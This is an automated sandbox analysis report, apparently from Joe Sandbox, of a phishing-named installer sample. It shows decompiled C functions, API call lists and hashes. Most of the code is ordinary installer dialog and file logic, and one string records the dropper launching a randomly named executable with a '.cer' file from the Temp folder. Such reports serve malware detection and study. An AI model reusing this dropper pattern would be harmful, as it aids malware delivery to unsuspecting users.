          				_v48 = 0;
          				_v44 = 0;
          				asm("stosd");
          				asm("stosd");
          				_t130 =  *0x42a270;
          				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
          				_a12 =  *((intOrPtr*)(_t130 + 0x60));
          				 *0x429230 = GetDlgItem(_a4, 0x403);
          				 *0x429228 = GetDlgItem(_a4, 0x3ee);
          				_t134 = GetDlgItem(_a4, 0x3f8);
          				 *0x429244 = _t134;
          				_v8 = _t134;
          				E004045F9( *0x429230);
          				 *0x429234 = E00404F52(4);
          				 *0x42924c = 0;
          				GetClientRect(_v8,  &_v28);
          				_v52 = _v28.right - GetSystemMetrics(_t177);
          				SendMessageW(_v8, 0x1061, 0,  &_v60);
          				SendMessageW(_v8, 0x1036, 0x4000, 0x4000);
          				if(_a8 >= 0) {
          					SendMessageW(_v8, 0x1001, 0, _a8);
          					SendMessageW(_v8, 0x1026, 0, _a8);
          				}
          				if(_a12 >= _t156) {
          					SendMessageW(_v8, 0x1024, _t156, _a12);
          				}
          				_push( *((intOrPtr*)(_a16 + 0x30)));
          				_push(0x1b);
          				E004045C4(_a4);
          				if(( *0x42a278 & 0x00000003) != 0) {
          					ShowWindow( *0x429230, _t156);
          					if(( *0x42a278 & 0x00000002) != 0) {
          						 *0x429230 = _t156;
          					} else {
          						ShowWindow(_v8, 8);
          					}
          					E004045F9( *0x429228);
          				}
          				_t168 = GetDlgItem(_a4, 0x3ec);
          				SendMessageW(_t168, 0x401, _t156, 0x75300000);
          				if(( *0x42a278 & 0x00000004) != 0) {
          					SendMessageW(_t168, 0x409, _t156, _a12);
          					SendMessageW(_t168, 0x2001, _t156, _a8);
          				}
          				goto L36;
          			}

































          0x00405811
          0x00405817
          0x00405821
          0x00405824
          0x004059ba
          0x004059de
          0x004059de
          0x004059f1
          0x00405a0f
          0x00405a11
          0x00405a19
          0x00405a6f
          0x00405a73
          0x00000000
          0x00000000
          0x00405a75
          0x00405a7b
          0x00000000
          0x00000000
          0x00405a85
          0x00405a8d
          0x00405a90
          0x00405b92
          0x00000000
          0x00405b92
          0x00405a9f
          0x00405aaa
          0x00405ab3
          0x00405abe
          0x00405ac1
          0x00405aca
          0x00405ad0
          0x00405ad3
          0x00405ad3
          0x00405aeb
          0x00405af4
          0x00405af7
          0x00405afe
          0x00405b05
          0x00405b0d
          0x00405b0d
          0x00405b24
          0x00405b24
          0x00405b2b
          0x00405b31
          0x00405b3d
          0x00405b44
          0x00405b4d
          0x00405b4f
          0x00405b52
          0x00405b61
          0x00405b64
          0x00405b6a
          0x00405b6b
          0x00405b71
          0x00405b72
          0x00405b73
          0x00405b7b
          0x00405b86
          0x00405b8c
          0x00405b8c
          0x00000000
          0x00405aeb
          0x00405a21
          0x00405a51
          0x00405a59
          0x00405a64
          0x00405a64
          0x00405a6a
          0x00000000
          0x00405a6a
          0x00405a25
          0x00405a2f
          0x00000000
          0x004059f3
          0x004059f9
          0x00405a34
          0x00000000
          0x00405a3d
          0x00405a02
          0x00405a07
          0x00405a0a
          0x00000000
          0x00405a0a
          0x004059f1
          0x0040582a
          0x0040582e
          0x00405836
          0x0040583a
          0x0040583d
          0x00405840
          0x00405843
          0x00405846
          0x00405847
          0x00405848
          0x00405861
          0x00405864
          0x0040586e
          0x0040587d
          0x00405885
          0x0040588d
          0x00405892
          0x00405895
          0x004058a1
          0x004058aa
          0x004058b3
          0x004058d5
          0x004058db
          0x004058ec
          0x004058f1
          0x004058ff
          0x0040590d
          0x0040590d
          0x00405912
          0x00405920
          0x00405920
          0x00405925
          0x00405928
          0x0040592d
          0x00405939
          0x00405942
          0x0040594f
          0x0040595e
          0x00405951
          0x00405956
          0x00405956
          0x0040596a
          0x0040596a
          0x0040597e
          0x00405987
          0x00405990
          0x004059a0
          0x004059ac
          0x004059ac
          0x00000000

          APIs
          • GetDlgItem.USER32 ref: 00405867
          • GetDlgItem.USER32 ref: 00405876
          • GetClientRect.USER32 ref: 004058B3
          • GetSystemMetrics.USER32 ref: 004058BA
          • SendMessageW.USER32(?,00001061,00000000,?), ref: 004058DB
          • SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004058EC
          • SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004058FF
          • SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040590D
          • SendMessageW.USER32(?,00001024,00000000,?), ref: 00405920
          • ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405942
          • ShowWindow.USER32(?,00000008), ref: 00405956
          • GetDlgItem.USER32 ref: 00405977
          • SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405987
          • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004059A0
          • SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004059AC
          • GetDlgItem.USER32 ref: 00405885
            • Part of subcall function 004045F9: SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607
          • GetDlgItem.USER32 ref: 004059C9
          • CreateThread.KERNEL32 ref: 004059D7
          • CloseHandle.KERNEL32(00000000), ref: 004059DE
          • ShowWindow.USER32(00000000), ref: 00405A02
          • ShowWindow.USER32(?,00000008), ref: 00405A07
          • ShowWindow.USER32(00000008), ref: 00405A51
          • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405A85
          • CreatePopupMenu.USER32 ref: 00405A96
          • AppendMenuW.USER32 ref: 00405AAA
          • GetWindowRect.USER32 ref: 00405ACA
          • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405AE3
          • SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B1B
          • OpenClipboard.USER32(00000000), ref: 00405B2B
          • EmptyClipboard.USER32 ref: 00405B31
          • GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405B3D
          • GlobalLock.KERNEL32 ref: 00405B47
          • SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B5B
          • GlobalUnlock.KERNEL32(00000000), ref: 00405B7B
          • SetClipboardData.USER32 ref: 00405B86
          • CloseClipboard.USER32 ref: 00405B8C
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
          • String ID: H7B${
          • API String ID: 590372296-2256286769
          • Opcode ID: e4f6a996a8720e03325efe7e3e6ec8b5bf9409ee1120525c1c8a69bac62d7f01
          • Instruction ID: d0bbb34d81c2c7a38b5cdb5171fa906e4f4201ee6cbe22cb0b3272b57562556b
          • Opcode Fuzzy Hash: e4f6a996a8720e03325efe7e3e6ec8b5bf9409ee1120525c1c8a69bac62d7f01
          • Instruction Fuzzy Hash: D8B137B0900608FFDF119FA0DD89AAE7B79FB08354F00417AFA45A61A0CB755E52DF68
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 78%
          			E00404AB5(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
          				signed int _v8;
          				signed int _v12;
          				long _v16;
          				long _v20;
          				long _v24;
          				char _v28;
          				intOrPtr _v32;
          				long _v36;
          				char _v40;
          				unsigned int _v44;
          				signed int _v48;
          				WCHAR* _v56;
          				intOrPtr _v60;
          				intOrPtr _v64;
          				intOrPtr _v68;
          				WCHAR* _v72;
          				void _v76;
          				struct HWND__* _v80;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				intOrPtr _t82;
          				long _t87;
          				short* _t89;
          				void* _t95;
          				signed int _t96;
          				int _t109;
          				signed short _t114;
          				signed int _t118;
          				struct HWND__** _t122;
          				intOrPtr* _t138;
          				WCHAR* _t146;
          				unsigned int _t150;
          				signed int _t152;
          				unsigned int _t156;
          				signed int _t158;
          				signed int* _t159;
          				signed int* _t160;
          				struct HWND__* _t166;
          				struct HWND__* _t167;
          				int _t169;
          				unsigned int _t197;
          
          				_t156 = __edx;
          				_t82 =  *0x422720;
          				_v32 = _t82;
          				_t146 = ( *(_t82 + 0x3c) << 0xb) + 0x42b000;
          				_v12 =  *((intOrPtr*)(_t82 + 0x38));
          				if(_a8 == 0x40b) {
          					E00405CAC(0x3fb, _t146);
          					E004068EF(_t146);
          				}
          				_t167 = _a4;
          				if(_a8 != 0x110) {
          					L8:
          					if(_a8 != 0x111) {
          						L20:
          						if(_a8 == 0x40f) {
          							L22:
          							_v8 = _v8 & 0x00000000;
          							_v12 = _v12 & 0x00000000;
          							E00405CAC(0x3fb, _t146);
          							if(E0040603F(_t186, _t146) == 0) {
          								_v8 = 1;
          							}
          							E00406668(0x421718, _t146);
          							_t87 = E00406A35(1);
          							_v16 = _t87;
          							if(_t87 == 0) {
          								L30:
          								E00406668(0x421718, _t146);
          								_t89 = E00405FE2(0x421718);
          								_t158 = 0;
          								if(_t89 != 0) {
          									 *_t89 = 0;
          								}
          								if(GetDiskFreeSpaceW(0x421718,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
          									goto L35;
          								} else {
          									_t169 = 0x400;
          									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
          									asm("cdq");
          									_v48 = _t109;
          									_v44 = _t156;
          									_v12 = 1;
          									goto L36;
          								}
          							} else {
          								_t159 = 0;
          								if(0 == 0x421718) {
          									goto L30;
          								} else {
          									goto L26;
          								}
          								while(1) {
          									L26:
          									_t114 = _v16(0x421718,  &_v48,  &_v28,  &_v40);
          									if(_t114 != 0) {
          										break;
          									}
          									if(_t159 != 0) {
          										 *_t159 =  *_t159 & _t114;
          									}
          									_t160 = E00405F83(0x421718);
          									 *_t160 =  *_t160 & 0x00000000;
          									_t159 = _t160;
          									 *_t159 = 0x5c;
          									if(_t159 != 0x421718) {
          										continue;
          									} else {
          										goto L30;
          									}
          								}
          								_t150 = _v44;
          								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
          								_v44 = _t150 >> 0xa;
          								_v12 = 1;
          								_t158 = 0;
          								__eflags = 0;
          								L35:
          								_t169 = 0x400;
          								L36:
          								_t95 = E00404F52(5);
          								if(_v12 != _t158) {
          									_t197 = _v44;
          									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
          										_v8 = 2;
          									}
          								}
          								if( *((intOrPtr*)( *0x42923c + 0x10)) != _t158) {
          									E00404F3A(0x3ff, 0xfffffffb, _t95);
          									if(_v12 == _t158) {
          										SetDlgItemTextW(_a4, _t169, 0x421708);
          									} else {
          										E00404E71(_t169, 0xfffffffc, _v48, _v44);
          									}
          								}
          								_t96 = _v8;
          								 *0x42a304 = _t96;
          								if(_t96 == _t158) {
          									_v8 = E0040140B(7);
          								}
          								if(( *(_v32 + 0x14) & _t169) != 0) {
          									_v8 = _t158;
          								}
          								E004045E6(0 | _v8 == _t158);
          								if(_v8 == _t158 &&  *0x423738 == _t158) {
          									E00404A0E();
          								}
          								 *0x423738 = _t158;
          								goto L53;
          							}
          						}
          						_t186 = _a8 - 0x405;
          						if(_a8 != 0x405) {
          							goto L53;
          						}
          						goto L22;
          					}
          					_t118 = _a12 & 0x0000ffff;
          					if(_t118 != 0x3fb) {
          						L12:
          						if(_t118 == 0x3e9) {
          							_t152 = 7;
          							memset( &_v76, 0, _t152 << 2);
          							_v80 = _t167;
          							_v72 = 0x423748;
          							_v60 = E00404E0B;
          							_v56 = _t146;
          							_v68 = E004066A5(_t146, 0x423748, _t167, 0x421f20, _v12);
          							_t122 =  &_v80;
          							_v64 = 0x41;
          							__imp__SHBrowseForFolderW(_t122);
          							if(_t122 == 0) {
          								_a8 = 0x40f;
          							} else {
          								__imp__CoTaskMemFree(_t122);
          								E00405F37(_t146);
          								_t125 =  *((intOrPtr*)( *0x42a270 + 0x11c));
          								if( *((intOrPtr*)( *0x42a270 + 0x11c)) != 0 && _t146 == L"C:\\Users\\FRONTD~1\\AppData\\Local\\Temp") {
          									E004066A5(_t146, 0x423748, _t167, 0, _t125);
          									if(lstrcmpiW(0x428200, 0x423748) != 0) {
          										lstrcatW(_t146, 0x428200);
          									}
          								}
          								 *0x423738 =  *0x423738 + 1;
          								SetDlgItemTextW(_t167, 0x3fb, _t146);
          							}
          						}
          						goto L20;
          					}
          					if(_a12 >> 0x10 != 0x300) {
          						goto L53;
          					}
          					_a8 = 0x40f;
          					goto L12;
          				} else {
          					_t166 = GetDlgItem(_t167, 0x3fb);
          					if(E00405FAE(_t146) != 0 && E00405FE2(_t146) == 0) {
          						E00405F37(_t146);
          					}
          					 *0x429238 = _t167;
          					SetWindowTextW(_t166, _t146);
          					_push( *((intOrPtr*)(_a16 + 0x34)));
          					_push(1);
          					E004045C4(_t167);
          					_push( *((intOrPtr*)(_a16 + 0x30)));
          					_push(0x14);
          					E004045C4(_t167);
          					E004045F9(_t166);
          					_t138 = E00406A35(8);
          					if(_t138 == 0) {
          						L53:
          						return E0040462B(_a8, _a12, _a16);
          					} else {
          						 *_t138(_t166, 1);
          						goto L8;
          					}
          				}
          			}













































          0x00404ab5
          0x00404abb
          0x00404ac1
          0x00404ace
          0x00404adc
          0x00404adf
          0x00404ae7
          0x00404aed
          0x00404aed
          0x00404af9
          0x00404afc
          0x00404b6a
          0x00404b71
          0x00404c48
          0x00404c4f
          0x00404c5e
          0x00404c5e
          0x00404c62
          0x00404c6c
          0x00404c79
          0x00404c7b
          0x00404c7b
          0x00404c89
          0x00404c90
          0x00404c97
          0x00404c9a
          0x00404cd6
          0x00404cd8
          0x00404cde
          0x00404ce3
          0x00404ce7
          0x00404ce9
          0x00404ce9
          0x00404d05
          0x00000000
          0x00404d07
          0x00404d0a
          0x00404d18
          0x00404d1e
          0x00404d1f
          0x00404d22
          0x00404d25
          0x00000000
          0x00404d25
          0x00404c9c
          0x00404c9e
          0x00404ca2
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00404ca4
          0x00404ca4
          0x00404cb1
          0x00404cb6
          0x00000000
          0x00000000
          0x00404cba
          0x00404cbc
          0x00404cbc
          0x00404cc5
          0x00404cc7
          0x00404ccc
          0x00404ccf
          0x00404cd4
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00404cd4
          0x00404d31
          0x00404d3b
          0x00404d3e
          0x00404d41
          0x00404d48
          0x00404d48
          0x00404d4a
          0x00404d4a
          0x00404d4f
          0x00404d51
          0x00404d59
          0x00404d60
          0x00404d62
          0x00404d6d
          0x00404d6d
          0x00404d62
          0x00404d7d
          0x00404d87
          0x00404d8f
          0x00404daa
          0x00404d91
          0x00404d9a
          0x00404d9a
          0x00404d8f
          0x00404daf
          0x00404db4
          0x00404db9
          0x00404dc2
          0x00404dc2
          0x00404dcb
          0x00404dcd
          0x00404dcd
          0x00404dd9
          0x00404de1
          0x00404deb
          0x00404deb
          0x00404df0
          0x00000000
          0x00404df0
          0x00404c9a
          0x00404c51
          0x00404c58
          0x00000000
          0x00000000
          0x00000000
          0x00404c58
          0x00404b77
          0x00404b80
          0x00404b9a
          0x00404b9f
          0x00404ba9
          0x00404bb0
          0x00404bbc
          0x00404bbf
          0x00404bc2
          0x00404bc9
          0x00404bd1
          0x00404bd4
          0x00404bd8
          0x00404bdf
          0x00404be7
          0x00404c41
          0x00404be9
          0x00404bea
          0x00404bf1
          0x00404bfb
          0x00404c03
          0x00404c10
          0x00404c24
          0x00404c28
          0x00404c28
          0x00404c24
          0x00404c2d
          0x00404c3a
          0x00404c3a
          0x00404be7
          0x00000000
          0x00404b9f
          0x00404b8d
          0x00000000
          0x00000000
          0x00404b93
          0x00000000
          0x00404afe
          0x00404b0b
          0x00404b14
          0x00404b21
          0x00404b21
          0x00404b28
          0x00404b2e
          0x00404b37
          0x00404b3a
          0x00404b3d
          0x00404b45
          0x00404b48
          0x00404b4b
          0x00404b51
          0x00404b58
          0x00404b5f
          0x00404df6
          0x00404e08
          0x00404b65
          0x00404b68
          0x00000000
          0x00404b68
          0x00404b5f

          APIs
          • GetDlgItem.USER32 ref: 00404B04
          • SetWindowTextW.USER32(00000000,?), ref: 00404B2E
          • SHBrowseForFolderW.SHELL32(?), ref: 00404BDF
          • CoTaskMemFree.OLE32(00000000), ref: 00404BEA
          • lstrcmpiW.KERNEL32("C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,00423748,00000000,?,?), ref: 00404C1C
          • lstrcatW.KERNEL32(?,"C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer), ref: 00404C28
          • SetDlgItemTextW.USER32 ref: 00404C3A
            • Part of subcall function 00405CAC: GetDlgItemTextW.USER32(?,?,00000400,00404C71), ref: 00405CBF
            • Part of subcall function 004068EF: CharNextW.USER32(?,*?|<>/":,00000000,00000000,772EFAA0,C:\Users\user~1\AppData\Local\Temp\,?,0040361B,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00403923), ref: 00406952
            • Part of subcall function 004068EF: CharNextW.USER32(?,?,?,00000000,?,0040361B,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00403923), ref: 00406961
            • Part of subcall function 004068EF: CharNextW.USER32(?,00000000,772EFAA0,C:\Users\user~1\AppData\Local\Temp\,?,0040361B,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00403923), ref: 00406966
            • Part of subcall function 004068EF: CharPrevW.USER32(?,?,772EFAA0,C:\Users\user~1\AppData\Local\Temp\,?,0040361B,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00403923), ref: 00406979
          • GetDiskFreeSpaceW.KERNEL32(00421718,?,?,0000040F,?,00421718,00421718,?,00000001,00421718,?,?,000003FB,?), ref: 00404CFD
          • MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404D18
            • Part of subcall function 00404E71: lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F12
            • Part of subcall function 00404E71: wsprintfW.USER32 ref: 00404F1B
            • Part of subcall function 00404E71: SetDlgItemTextW.USER32 ref: 00404F2E
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
          • String ID: "C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer$A$C:\Users\user~1\AppData\Local\Temp$H7B
          • API String ID: 2624150263-949810313
          • Opcode ID: cafbbb3b6b33e648c9f94ba13bd1897e858c1dbc17bb594ac49896ccdcf60781
          • Instruction ID: 9155a42c54a3203d4d9709c494e168d8d926bd307d67cbb08bf4d9f42020e7e3
          • Opcode Fuzzy Hash: cafbbb3b6b33e648c9f94ba13bd1897e858c1dbc17bb594ac49896ccdcf60781
          • Instruction Fuzzy Hash: 94A171F1900219ABDB11EFA5CD41AAFB7B8EF84315F11843BF601B62D1D77C8A418B69
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 67%
          			E004021AA() {
          				signed int _t52;
          				void* _t56;
          				intOrPtr* _t60;
          				intOrPtr _t61;
          				intOrPtr* _t62;
          				intOrPtr* _t64;
          				intOrPtr* _t66;
          				intOrPtr* _t68;
          				intOrPtr* _t70;
          				intOrPtr* _t72;
          				intOrPtr* _t74;
          				intOrPtr* _t76;
          				intOrPtr* _t78;
          				intOrPtr* _t80;
          				void* _t83;
          				intOrPtr* _t91;
          				signed int _t101;
          				signed int _t105;
          				void* _t107;
          
          				 *((intOrPtr*)(_t107 - 0x10)) = E00402DA6(0xfffffff0);
          				 *((intOrPtr*)(_t107 - 0x44)) = E00402DA6(0xffffffdf);
          				 *((intOrPtr*)(_t107 - 8)) = E00402DA6(2);
          				 *((intOrPtr*)(_t107 - 0x4c)) = E00402DA6(0xffffffcd);
          				 *((intOrPtr*)(_t107 - 0xc)) = E00402DA6(0x45);
          				_t52 =  *(_t107 - 0x20);
          				 *(_t107 - 0x50) = _t52 & 0x00000fff;
          				_t101 = _t52 & 0x00008000;
          				_t105 = _t52 >> 0x0000000c & 0x00000007;
          				 *(_t107 - 0x40) = _t52 >> 0x00000010 & 0x0000ffff;
          				if(E00405FAE( *((intOrPtr*)(_t107 - 0x44))) == 0) {
          					E00402DA6(0x21);
          				}
          				_t56 = _t107 + 8;
          				__imp__CoCreateInstance(0x4084e4, _t83, 1, 0x4084d4, _t56);
          				if(_t56 < _t83) {
          					L14:
          					 *((intOrPtr*)(_t107 - 4)) = 1;
          					_push(0xfffffff0);
          				} else {
          					_t60 =  *((intOrPtr*)(_t107 + 8));
          					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x4084f4, _t107 - 0x38);
          					 *((intOrPtr*)(_t107 - 0x18)) = _t61;
          					if(_t61 >= _t83) {
          						_t64 =  *((intOrPtr*)(_t107 + 8));
          						 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x44)));
          						if(_t101 == _t83) {
          							_t80 =  *((intOrPtr*)(_t107 + 8));
          							 *((intOrPtr*)( *_t80 + 0x24))(_t80, L"C:\\Users\\FRONTD~1\\AppData\\Local\\Temp");
          						}
          						if(_t105 != _t83) {
          							_t78 =  *((intOrPtr*)(_t107 + 8));
          							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
          						}
          						_t66 =  *((intOrPtr*)(_t107 + 8));
          						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x40));
          						_t91 =  *((intOrPtr*)(_t107 - 0x4c));
          						if( *_t91 != _t83) {
          							_t76 =  *((intOrPtr*)(_t107 + 8));
          							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x50));
          						}
          						_t68 =  *((intOrPtr*)(_t107 + 8));
          						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
          						_t70 =  *((intOrPtr*)(_t107 + 8));
          						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
          						if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
          							_t74 =  *((intOrPtr*)(_t107 - 0x38));
          							 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x10)), 1);
          						}
          						_t72 =  *((intOrPtr*)(_t107 - 0x38));
          						 *((intOrPtr*)( *_t72 + 8))(_t72);
          					}
          					_t62 =  *((intOrPtr*)(_t107 + 8));
          					 *((intOrPtr*)( *_t62 + 8))(_t62);
          					if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
          						_push(0xfffffff4);
          					} else {
          						goto L14;
          					}
          				}
          				E00401423();
          				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t107 - 4));
          				return 0;
          			}






















          0x004021b3
          0x004021bd
          0x004021c7
          0x004021d1
          0x004021dc
          0x004021df
          0x004021f9
          0x004021fc
          0x00402202
          0x00402205
          0x0040220f
          0x00402213
          0x00402213
          0x00402218
          0x00402229
          0x00402231
          0x004022e8
          0x004022e8
          0x004022ef
          0x00402237
          0x00402237
          0x00402246
          0x0040224a
          0x0040224d
          0x00402253
          0x00402261
          0x00402264
          0x00402266
          0x00402271
          0x00402271
          0x00402276
          0x00402278
          0x0040227f
          0x0040227f
          0x00402282
          0x0040228b
          0x0040228e
          0x00402294
          0x00402296
          0x004022a0
          0x004022a0
          0x004022a3
          0x004022ac
          0x004022af
          0x004022b8
          0x004022be
          0x004022c0
          0x004022ce
          0x004022ce
          0x004022d1
          0x004022d7
          0x004022d7
          0x004022da
          0x004022e0
          0x004022e6
          0x004022fb
          0x00000000
          0x00000000
          0x00000000
          0x004022e6
          0x004022f1
          0x00402c2d
          0x00402c39

          APIs
          • CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402229
          Strings
          • C:\Users\user~1\AppData\Local\Temp, xrefs: 00402269
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: CreateInstance
          • String ID: C:\Users\user~1\AppData\Local\Temp
          • API String ID: 542301482-3107243751
          • Opcode ID: 077b7362f6a1d4038be91bf7f4b9e5842d68daf9de23732b557fb751e09ce78c
          • Instruction ID: f110e38d5ccd8909b9e85e2ea6b1342c5fae2602ce40754bea02e3b472428d32
          • Opcode Fuzzy Hash: 077b7362f6a1d4038be91bf7f4b9e5842d68daf9de23732b557fb751e09ce78c
          • Instruction Fuzzy Hash: BC411771A00209EFCF40DFE4C989E9D7BB5BF49304B20456AF505EB2D1DB799981CB94
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 39%
          			E0040290B(short __ebx, short* __edi) {
          				void* _t21;
          
          				if(FindFirstFileW(E00402DA6(2), _t21 - 0x2dc) != 0xffffffff) {
          					E004065AF( *((intOrPtr*)(_t21 - 0xc)), _t8);
          					_push(_t21 - 0x2b0);
          					_push(__edi);
          					E00406668();
          				} else {
          					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
          					 *__edi = __ebx;
          					 *((intOrPtr*)(_t21 - 4)) = 1;
          				}
          				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t21 - 4));
          				return 0;
          			}




          0x00402923
          0x0040293e
          0x00402949
          0x0040294a
          0x00402a94
          0x00402925
          0x00402928
          0x0040292b
          0x0040292e
          0x0040292e
          0x00402c2d
          0x00402c39

          APIs
          • FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040291A
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
